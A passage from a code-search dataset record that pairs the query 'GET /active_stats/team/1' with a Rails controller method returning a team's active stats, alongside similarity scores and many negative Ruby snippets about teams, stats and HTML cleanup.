format.json { head :no_content }\n end\n end", "def destroy\n @reqdevstatus.destroy\n respond_to do |format|\n format.html { redirect_to reqdevstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat_entry.destroy\n respond_to do |format|\n format.html { redirect_to stat_entries_url, notice: 'Stat entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end" ]
[ "0.7446071", "0.73452574", "0.7344989", "0.7132254", "0.7132254", "0.7132254", "0.7132254", "0.7132254", "0.71168864", "0.70970297", "0.7095509", "0.7095509", "0.7091904", "0.7001243", "0.69636625", "0.6953723", "0.6946767", "0.6903175", "0.6852545", "0.6835242", "0.6826405", "0.6812521", "0.6796738", "0.6783841", "0.67720574", "0.6770643", "0.67405665", "0.67405665", "0.67405665", "0.67405665", "0.673955", "0.6738414", "0.6705627", "0.6688768", "0.66748136", "0.6658141", "0.6614501", "0.66111946", "0.658751", "0.65862334", "0.65833664", "0.6581086", "0.65762824", "0.6569968", "0.6568494", "0.6559625", "0.6559486", "0.6551248", "0.6543207", "0.6535287", "0.65143657", "0.6498113", "0.64938194", "0.64888585", "0.64831436", "0.6478513", "0.6466024", "0.64619946", "0.64438605", "0.6438596", "0.6436491", "0.6432811", "0.6430245", "0.64260155", "0.6425872", "0.64114285", "0.6411415", "0.6404626", "0.6404217", "0.63973075", "0.6396975", "0.639644", "0.6392359", "0.6387575", "0.63806176", "0.6374042", "0.6373342", "0.637263", "0.6368206", "0.6367352", "0.6364166", "0.63560885", "0.63514555", "0.6341969", "0.6341114", "0.6332758", "0.6331723", "0.6325907", "0.6317648", "0.63166225", "0.63072735", "0.6307267", "0.6302735", "0.62999356", "0.62971085", "0.6293619", "0.62883776", "0.62880147", "0.62880147", "0.62880147" ]
0.77944946
0
GET /active_stats/team/1 GET /active_stats/team/1.json
def team @team = Team.where('team_id = ?', params[:id]) @active_stats = ActiveStat.where('team_id = ?', params[:id]) respond_to do |format| format.html format.json end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_team_stats()\n query_params = { }\n headers = {}\n body = nil\n\n path = \"/team/stats\"\n\n @client.request(\n method: :get,\n path: path,\n query: query_params,\n headers: headers,\n body: body)\n end", "def team(id)\n get \"/teams/#{id}\"\n end", "def show\n @team = Team.find(params[:id])\n\n render json: @team\n end", "def show\n @ultimate_team = UltimateTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ultimate_team }\n end\n end", "def show\n @id = @my_team.team_id\n @team_name = Teams.find(@id)\n roster = RestClient.get(\"https://statsapi.web.nhl.com/api/v1/teams/#{@id}/roster\")\n @roster = JSON.parse(roster)[\"roster\"]\n end", "def get_team_list ( page = 1 )\n get_api_resource \"#{@@api_base_url}teams/#{page}\"\n end", "def get_team ( team_key )\n get_api_resource \"#{@@api_base_url}team/#{team_key}\"\n end", "def show\n render status: 200, json: Team.find(params[:id])\n end", "def teams\n render json: @team_query\n end", "def show\n team = Team.find_by(:id => params[:id])\n render :json => team\n end", "def team\n teams.where(hubstats: true).first\n end", "def index\n @test_team_stats = TestTeamStat.all\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end", "def profile(team_name)\n get_request(\"/2.0/teams/#{team_name.to_s}\")\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def show\n @team = @club.teams.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end", "def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end", "def index\n @teams = Team.all\n render json: @teams\n end", "def show\n\t\t@team = Team.find(params[:id])\n\t\tquery = @team.name\n\n\t\t# Pulls news articles about each team through Google RSS\n\t\tdata = party_time(\"https://news.google.com/news/feeds?q=#{query.downcase.gsub(/\\s/, '+')}&output=rss\")\n\t\t@articles = data[\"rss\"][\"channel\"][\"item\"]\n\n\t\t# Pulls upcoming fixtures for this team\n\t\t@data2 = party_time(\"http://api.statsfc.com/premier-league/fixtures.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&team=#{query.downcase.gsub(/\\s/, '-')}&timezone=America/New_York&limit=5\")\n\n\t\t# Pulls past results for this team \n\t\t@data3 = party_time(\"http://api.statsfc.com/premier-league/results.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&team=#{query.downcase.gsub(/\\s/, '-')}&timezone=America/New_York&limit=5\")\n\tend", "def index\n @teams = @club.teams\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "def index\n @teams = Team.all\n render :json => @teams\n end", "def get_team_season_stats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StatsApi.get_team_season_stats ...'\n end\n # resource path\n local_var_path = '/stats/season'\n\n # query parameters\n query_params = {}\n query_params[:'year'] = opts[:'year'] if !opts[:'year'].nil?\n query_params[:'team'] = opts[:'team'] if !opts[:'team'].nil?\n query_params[:'conference'] = opts[:'conference'] if !opts[:'conference'].nil?\n query_params[:'startWeek'] = opts[:'start_week'] if !opts[:'start_week'].nil?\n query_params[:'endWeek'] = opts[:'end_week'] if !opts[:'end_week'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<TeamSeasonStat>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StatsApi#get_team_season_stats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n if current_user_total?\n @teams = Team.order(:description).page(params[:page]).per(5)\n else\n ids = []\n tus = TeamUser.where(user_id: current_user.id)\n tus.each do |tu| # user_id | team_id\n ids << tu.team_id # [1, 6, 7]\n end\n\n return @teams = Team.where(id: ids).order(:description).page(params[:page]).per(5)\n end\n=======\n\n # GET /teams\n # GET /teams.json\n def index\n @teams = Team.order(:description).page(params[:page]).per(5)\n>>>>>>> d0c6183c3349cba16c54d8ce4c0fb5ee26c49700\n end\n\n # GET /teams/1\n # GET /teams/1.json\n def show\n<<<<<<< HEAD\n=======\n @team = Team.find(params[:id])\n>>>>>>> d0c6183c3349cba16c54d8ce4c0fb5ee26c49700\n end", "def show\n @team = Team.find(params[:id])\n @runners = @team.runners\n @count = @runners.length\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end", "def show\n\t\t@team = Team.find(params[:id])\n\t\trender '/teams/show.json.jbuilder'\n\tend", "def show\n # @teams = ::Services::TeamService.show_teams\n end", "def index\n @team = Team.find(params[:team_id])\n @sprints = @team.sprints.find(:all)\n\n respond_to do |format|\n format.html\n format.json\n end\n end", "def show\n @nba_team = NbaTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nba_team }\n end\n end", "def index\n\t\t@team = Team.find(params[:team_id])\n\tend", "def get_team_details(params)\n get('team', params)\n end", "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "def show\n @swim_team = SwimTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @swim_team }\n end\n end", "def show\n scope = jsonapi_scope(Streak.where(id: params[:id]))\n logger.info \"#{\"*\"*80}IN THE STREAKS CONTROLLER This Here are the team_players: #{instance.team_players.map(&:color).join(\",\")}\"\n instance = scope.resolve.first\n raise JsonapiCompliable::Errors::RecordNotFound unless instance\n render_jsonapi(instance, scope: false)\n end", "def show\n @team = Team.find(params[:id])\n @users = @team.users.uniq{|user| user.id}\n @teams = Team.all\n @season_team = @team.season_teams.first\n# @hmatch = @season_team.home_matches\n# @amatch = @season_team.away_matches\n# @matches = @hmatch | @amatch\n# \n# @teams = @season.teams.uniq{|team| team.id}\n# @users = @season.users.uniq{|user| user.id}\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end", "def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end", "def get_advanced_team_game_stats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StatsApi.get_advanced_team_game_stats ...'\n end\n # resource path\n local_var_path = '/stats/game/advanced'\n\n # query parameters\n query_params = {}\n query_params[:'year'] = opts[:'year'] if !opts[:'year'].nil?\n query_params[:'week'] = opts[:'week'] if !opts[:'week'].nil?\n query_params[:'team'] = opts[:'team'] if !opts[:'team'].nil?\n query_params[:'opponent'] = opts[:'opponent'] if !opts[:'opponent'].nil?\n query_params[:'excludeGarbageTime'] = opts[:'exclude_garbage_time'] if !opts[:'exclude_garbage_time'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<AdvancedGameStat>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StatsApi#get_advanced_team_game_stats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def user_team(team_id)\n get(\"/user_teams/#{team_id}\")\n end", "def show\n\n \t\t\trespond_with @team\n\n \t\tend", "def stats_vs_team(team, season = nil)\n id = find_id(team, Team)\n data = stats_request(\"vsTeam\", season)\n data.find do |s| s[\"opponent\"][\"id\"] == id end\n end", "def show_stats\n # Using MeetingStat\n @meeting_stat_calculator = MeetingStatCalculator.new(@meeting)\n @meeting_stats = @meeting_stat_calculator.calculate\n\n @preselected_team_id = params[:team_id]\n\n # Get a timestamp for the cache key:\n @max_updated_at = get_timestamp_from_relation_chain() # default: MIR\n end", "def index\n @teams = Team.page(params[:page])\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "def team\n fetch('esport.teams')\n end", "def index\n @teams = @competition.teams.sort_by{|t| t.number}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end", "def index\n\t\t@teams = Team.order(\"name ASC\").all\n\n\t\t# Pulls upcoming fixtures in Premier League\n\t\t@data = party_time(\"http://api.statsfc.com/premier-league/fixtures.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&timezone=America/New_York&limit=10\")\n\n\t\t# Pulls top scorers in Premier League\n\t\t@data2 = party_time(\"http://api.statsfc.com/top-scorers.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&competition=premier-league&year=2013/2014&limit=10\")\t\n\n\t\t# Pulls news articles about the league through Google RSS\n\t\tdata = party_time(\"https://news.google.com/news/feeds?q=barclays+premier+league&output=rss\")\n\t\t@articles = data[\"rss\"][\"channel\"][\"item\"]\n\tend", "def index\n game = Game.all\n\n render json: game, include: :teams\n end", "def show\n @sales_team = SalesTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sales_team }\n end\n end", "def index\n @teams = Team.all.order(:name)\n if params[:all]\n json_response(TeamSerializer, @teams)\n else\n @teams_paginated = @teams.page(current_page, per_page).per(per_page)\n json_response(TeamSerializer, @teams_paginated, options(@teams))\n end\n end", "def index\n @teamstat = Teamstat.new\n end", "def team( team_id )\n\n if( team_id.is_a?(String) && team_id.is_a?(Integer) )\n raise ArgumentError.new(format('wrong type. user \\'team_id\\' must be an String (for an Team name) or an Integer (for an Team Id), given \\'%s\\'', team_id.class.to_s))\n end\n raise ArgumentError.new('missing \\'team_id\\'') if( team_id.size.zero? )\n\n v, mv = version.values\n return { 'status' => 404, 'message' => format( 'team has been supported in Grafana since version 5. you use version %s', v) } if(mv < 5)\n\n if(team_id.is_a?(String))\n o_team = search_team(name: team_id)\n status = o_team.dig('status')\n total_count = o_team.dig('totalCount')\n\n return { 'status' => 404, 'message' => format( 'No Team \\'%s\\' found', team_id) } unless(status == 200 && total_count > 0)\n\n teams = o_team.dig('teams')\n team = teams.detect { |x| x['name'] == team_id }\n team_id = team.dig('id')\n end\n\n endpoint = format( '/api/teams/%s', team_id )\n\n @logger.debug(\"Getting team by Id #{team_id} (GET #{endpoint})\") if @debug\n get(endpoint)\n end", "def show\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def index\n @teams_sorted = Team.sorted_by_score\n @top_reporters = Team.top_reporters\n @inactive_teams = Team.inactive if can? :manage, Team\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @teams }\n end\n end", "def get_players_by_team(team_id)\n response = parse_api_request(\"#{BASE_URL}players/2018/#{team_id}\")[\"players\"]\nend", "def show\n @team = Team.find(params[:id])\n end", "def show\n @team = Team.find(params[:id])\n end", "def show\n @player = Player.find(params[:id])\n if @player.games.count >= 1\n @last_team_name = @player.games.find(:last).team_name\n @year = @player.games.first.date.year\n @newest_year = @player.games.last.date.year\n else\n @last_team_name = \"Your team name\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player }\n end\n end", "def get_teams_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}teams/league/#{league_id}\")[\"teams\"]\nend", "def show\n @team = Team.find(params[:team_id])\n @sprint = @team.sprints.find(params[:id])\n @summary_sprint = @sprint\n @first_sprint = @team.sprints.find(:first)\n @last_sprint = @team.sprints.find(:last)\n @linear_regression = get_linear_regression_actual_velocity(@team.sprints, @last_sprint)\n @averages_set = last_n_sprints_inclusive(@team.sprints, @summary_sprint, 6)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end", "def get_advanced_team_season_stats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StatsApi.get_advanced_team_season_stats ...'\n end\n # resource path\n local_var_path = '/stats/season/advanced'\n\n # query parameters\n query_params = {}\n query_params[:'year'] = opts[:'year'] if !opts[:'year'].nil?\n query_params[:'team'] = opts[:'team'] if !opts[:'team'].nil?\n query_params[:'excludeGarbageTime'] = opts[:'exclude_garbage_time'] if !opts[:'exclude_garbage_time'].nil?\n query_params[:'startWeek'] = opts[:'start_week'] if !opts[:'start_week'].nil?\n query_params[:'endWeek'] = opts[:'end_week'] if !opts[:'end_week'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<AdvancedSeasonStat>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StatsApi#get_advanced_team_season_stats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @match_stat = MatchStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @match_stat }\n end\n end", "def get_teams_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TeamsApi.get_teams ...'\n end\n # resource path\n local_var_path = '/teams'\n\n # query parameters\n query_params = {}\n query_params[:'conference'] = opts[:'conference'] if !opts[:'conference'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Team>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TeamsApi#get_teams\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @teams = current_user.recent_teams\n end", "def show\n @teams = Team.all\n @visiting_games = @team.visiting_games.where(\"tournament_id = ?\",@current_tournament.id)\n @local_games = @team.games.where(\"tournament_id = ?\",@current_tournament.id)\n @games = @local_games+@visiting_games\n @players = @team.players.where(\"tournament_id = ?\",@current_tournament.id)\n @scores = {}\n #@query = @team.score(@team.tournaments.find(1))\n @tournaments=@team.tournaments\n @team.tournaments.each do |tournament|\n @scores[tournament]=@team.score(tournament)\n end\n end", "def set_teamstat\n @teamstat = Teamstat.find(params[:id])\n end", "def show\n @team = Team.where(:id=>params[:id]).first\n end", "def get_team(params = {})\n params = Utils.symbolize_hash_keys(params)\n query_params = { }\n headers = {}\n body = nil\n\n path = \"/team\"\n\n @client.request(\n method: :get,\n path: path,\n query: query_params,\n headers: headers,\n body: body)\n end", "def show\n\t\t@team = Team.find(params[:id])\n\tend", "def show\n @teams = Team.all\n @team_member = Team.friendly.find(params[:id])\n end", "def show\n @team=Team.find(params[:id])\n end", "def index\n\t\tmembers = Member.where(team_id: params[:team_id]).all\n\t\trespond_with members\n\tend", "def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end", "def index\n @teams = Team.all\n end" ]
[ "0.78863543", "0.7038234", "0.702839", "0.70033634", "0.69328886", "0.68993145", "0.68926066", "0.68735665", "0.6866543", "0.6856083", "0.6825968", "0.68066007", "0.67841077", "0.6777518", "0.6755418", "0.6755418", "0.6755418", "0.6755418", "0.6754665", "0.67120904", "0.6711331", "0.6664771", "0.66624373", "0.66467875", "0.6643824", "0.6642578", "0.6633892", "0.66171634", "0.6607144", "0.6606955", "0.6606099", "0.65966576", "0.65893036", "0.6586781", "0.6575834", "0.6575834", "0.6567158", "0.65636355", "0.6557455", "0.65388393", "0.65388393", "0.6531796", "0.6529471", "0.6524255", "0.65023863", "0.6484047", "0.6475844", "0.64509195", "0.6449449", "0.6448169", "0.6448018", "0.64285463", "0.64221126", "0.64144355", "0.64119005", "0.6411177", "0.6406675", "0.63988763", "0.63988614", "0.63988614", "0.6397038", "0.6384049", "0.6361445", "0.6360098", "0.63599277", "0.6356138", "0.63372624", "0.63352394", "0.6333406", "0.63277984", "0.63277715", "0.63222545", "0.63140285", "0.6310306", "0.6309163", "0.6308641", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604", "0.6307604" ]
0.774616
1
Delete empty paragraphs and line breaks at the end of blocklevel elements
def delete_junk_breaks!(node) node.children.reject! do |child| if child.is_a?(TagNode) and !node.is_a?(RootNode) if !child.children.empty? delete_junk_breaks!(child) false elsif child.tag_name == @schema.paragraph_tag_name # It's an empty paragraph tag true elsif @schema.block_level?(node.tag_name) and child.tag_name == @schema.line_break_tag_name and node.children.last == child # It's a line break a the end of the block-level element true else false end else false end end node end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_emptytext_below_blocknodes(nodes)\n nodes.each do |node|\n node.children.each {|c| c.unlink if c.text? and c.inner_text =~ /^\\s*$/ }\n end\nend", "def remove_empty_paragraphs(env)\n node = env[:node]\n\n node.unlink if node.element? && (node.name == 'p' || node.name == 'span') && node.inner_html.squish.blank?\n end", "def clean_up_text\n text.gsub!(/<br/, \"\\n<br\")\n text.gsub!(/<p/, \"\\n<p\")\n text.gsub!(/<\\/?span(.*?)?>/, '')\n text.gsub!(/<\\/?div(.*?)?>/, '')\n end", "def clean_up_contents()\n # very minimal\n # elements = ['p', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], attributes={})\n\n if self.contents?\n html = self.contents\n email_regex = /<p>Email:\\s+((\\w|\\-|\\_|\\.)+\\@((\\w|\\-|\\_)+\\.)+[a-zA-Z]{2,})/i\n\n html.gsub! /\\[endif\\]--/ , ''\n html.gsub! /[\\n|\\r]/ , ' '\n html.gsub! /&nbsp;/ , ' '\n\n # this will convert UNICODE into ASCII. \n #It will also strip any possiblity of using a foreign language!\n #converter = Iconv.new('ASCII//IGNORE//TRANSLIT', 'UTF-8') \n #html = converter.iconv(html).unpack('U*').select{ |cp| cp < 127 }.pack('U*')\n # keep only the things we want.\n unless (Sanitize::Config::RELAXED[:attributes][\"table\"].include?(\"align\"))\n Sanitize::Config::RELAXED[:attributes][\"table\"] << \"align\"\n end\n\n config = Sanitize::Config::RELAXED\n if (html.encoding.name == 'ASCII-8BIT')\n config[:output_encoding] = 'ASCII'\n end\n html = Sanitize.clean( html, config)\n\n # butt up any tags\n html.gsub! />\\s+</ , '><'\n\n #remove email address lines\n html.gsub! email_regex , '<p>'\n\n # post sanitize cleanup of empty blocks\n # the order of removal is import - this is the way word stacks these elements\n html.gsub! /<i><\\/i>/ , ''\n html.gsub! /<b><\\/b>/ , ''\n html.gsub! /<\\/b><b>/ , ''\n html.gsub! /<p><\\/p>/ , ''\n html.gsub! /<p><b><\\/b><\\/p>/ , ''\n\n # misc - fix butted times\n html.gsub! /(\\d)am / , '\\1 am '\n html.gsub! /(\\d)pm / , '\\1 pm '\n # misc - remove multiple space that may cause doc specific regexs to fail (in dates for example)\n html.gsub! /\\s+/ , ' '\n\n # add new lines at the end of lines\n html.gsub! /<\\/(p|h\\d|dt|dd|dl)>/, '</\\1>' + \"\\n\"\n html.gsub! /<dl>/ , '<dl>' + \"\\n\"\n\n self.contents = html\n end\n end", "def remove_footnotes(elements); end", "def clean_content\n self.content = content.gsub('<p>&nbsp;</p>', '') if content\n end", "def postprocess(document)\n WRAP.match(document)[1].gsub(P_BREAKS, '<br><br>').delete \"\\n\"\n rescue\n document\n end", "def normalize_text(content)\n replaced_content = content.gsub(/\\n|<br>|&nbsp;/) do |match|\n case match\n when \"\\n\", \"&nbsp;\"\n \"\"\n when \"<br>\"\n \"\\n\"\n end\n end.sub(/\\s*(---|‐‐‐|―――)\\s*\\z/, \"\")\n strip_html(replaced_content)\n end", "def remove_paragraph_tags mytext\n mytext.sub!(/^<p>\\s*<\\/p>/,\"\")\n mytext.sub!(/(<br>)*<p>\\s*<\\/p>$/,\"\")\n mytext.sub!(/^<p>/,'')\n mytext.sub!(/<\\/p>?/,'')\n return mytext\n end", "def lstrip_html\n return if self.blank?\n\n m = self.match(/\\A(\\s*?[^<]|(.*?)>\\s*[^<])/) #Find first printing character\n return self unless m\n \n ldr = m[0]\n ldr_last = ldr.slice(ldr.size-1, ldr.size)\n ldr = ldr.slice(0,ldr.size-1) # portion up to the first printing character\n bdy = ldr_last + m.post_match # portion following the first printing character\n \n cln_ldr = ldr.gsub(/<p/mi, \"<span\")\n cln_ldr = cln_ldr.gsub(/<\\/p/mi, \"</span\")\n cln_ldr = cln_ldr.gsub(/<br(.*?)>/mi, \"\")\n \n m = bdy.match(/(\\A.*?)<p/mi)\n if !m\n bdy = bdy.sub(/<\\/p/mi, \"</span\") # change first closing </p> from an open <p> remaining from ldr\n else\n l = m.post_match\n f_cln = m[0].gsub(/<\\/p/mi, \"</span\") # change any closing </p> from and open <p> remaining from ldr\n bdy = f_cln + l \n end\n return cln_ldr + bdy \n end", "def content\n @node.children\n .map { |child| child.name == 'br' ? \"\\n\" : child.inner_text }\n .join('')\n .gsub(/\\s*\\n\\s*/, \"\\n\") # Only keep a single consecutive linebreak\n end", "def extract_block_from_paragraph!(element)\n p = element.parent\n return unless node_name?(p, 'p')\n children_after = p.children[p.children.index(element) + 1..-1]\n remove_leading_blanks! children_after\n # Move the element out of and after the paragraph\n p.add_next_sibling element\n # Move all the elements after the onebox to a new paragraph\n unless children_after.empty?\n new_p = Nokogiri::XML::Node.new 'p', doc\n element.add_next_sibling new_p\n children_after.each { |child| new_p.add_child child }\n end\n # The original paragraph might have been split just after a <br> or whitespace, remove them if so:\n remove_leading_blanks! p.children.reverse\n p.remove if p.children.empty?\n end", "def simple_format_without_paragraph(text)\r\n text.to_s.\r\n gsub(/\\r\\n?/, \"\\n\"). # \\r\\n and \\r -> \\n\r\n gsub(/\\n\\n+/, \"<br /><br />\"). # 2+ newline -> 2 br\r\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\r\n end", "def strip_blanks!\n @content.reject! { |item| item[:type] == :blank }\n end", "def simple_format_without_paragraph(text)\n text.to_s.\n gsub(/\\r\\n?/, \"\\n\"). # \\r\\n and \\r -> \\n\n gsub(/\\n\\n+/, \"<br /><br />\"). # 2+ newline -> 2 br\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n end", "def simple_format_without_paragraph(text)\r\n text.to_s.\r\n gsub(/\\r\\n?/, \"\\n\"). # \\r\\n and \\r -> \\n\r\n gsub(/\\n\\n+/, \"<br /><br />\"). # 2+ newline -> 2 br\r\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\r\n end", "def append_block_breaks(out)\n out.sub!(TRAILING_WHITESPACE, EMPTY)\n out << NEWLINE unless out.end_with?(NEWLINE)\n end", "def fck_cleanup\n # Change the following from their named entity to their decimal entity\n gsub!(\"&nbsp;\",\"&#160;\")\n gsub!(\"&amp;\",\"&#38;\")\n\n # Turn &apos; back into `'` because IE6 is a \"special\" browser\n gsub!(\"&apos;\",\"'\")\n\n # get rid of line breaks that sneak into top of wysiwyg\n gsub!(/\\A<p>&#160;<\\/p>[\\s]*/,'')\n \n # get rid of fck's wrapping paragraphs around block elements\n while match = self.match(/^<p>[\\s]*<(div|table|ul|ol|dl|p|h1|h2|h3|h4|h5|h6)/)\n gsub!(/^<p>[\\s]*<#{match[1]}/, \"<#{match[1]}\")\n gsub!(/<\\/#{match[1]}>[\\s]*<\\/p>/, \"</#{match[1]}>\")\n end\n \n return self\n end", "def simple_format_without_p(text, html_options={})\n #start_tag = tag('p', html_options, true)\n text = text.to_s.dup\n text.gsub!(/\\r\\n?/, \"\\n\") # \\r\\n and \\r -> \\n\n text.gsub!(/\\n\\n+/, '<br /><br />') # 2+ newline -> 2 br\n text.gsub!(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n \n return text\n end", "def clean text\n text.gsub(/(\\n|\\t|\\r)/, ' ').gsub(/>\\s*</, '><').squeeze(' ')\n end", "def process_full_text(text)\n frag = Nokogiri::HTML::DocumentFragment.parse text.to_html\n clean_text = Nokogiri::HTML::DocumentFragment.parse \"\"\n\n frag.traverse do |node|\n # skip empty <br> elements\n next if node.nil? || node.name == \"br\"\n\n # Construct a new <p> with extracted text\n if node.text?\n new_p = Nokogiri::XML::Node.new(\"p\", clean_text)\n new_p.content = node.text.strip\n clean_text << new_p\n end\n end\n clean_text.to_html\n end", "def push_out_whitespace!(ke)\n if [:em, :strong].include?(ke.type) && ke.children.any?\n fc = ke.children.first\n if :text == fc.type && fc.value =~ /\\A[ \\n\\t]+/\n # push out leading whitespace\n fc.value.lstrip!\n if(prev_sib = ke.previous_sibling) && (:text == prev_sib.type)\n # previous sibling is :text el\n # Append whitespace\n prev_sib.value << ' '\n else\n # previous sibling doesn't exist or is something other than :text\n # Insert a :text el as previous sibling\n ke.insert_sibling_before(Kramdown::ElementRt.new(:text, ' '))\n end\n # remove text node if it is now empty\n if 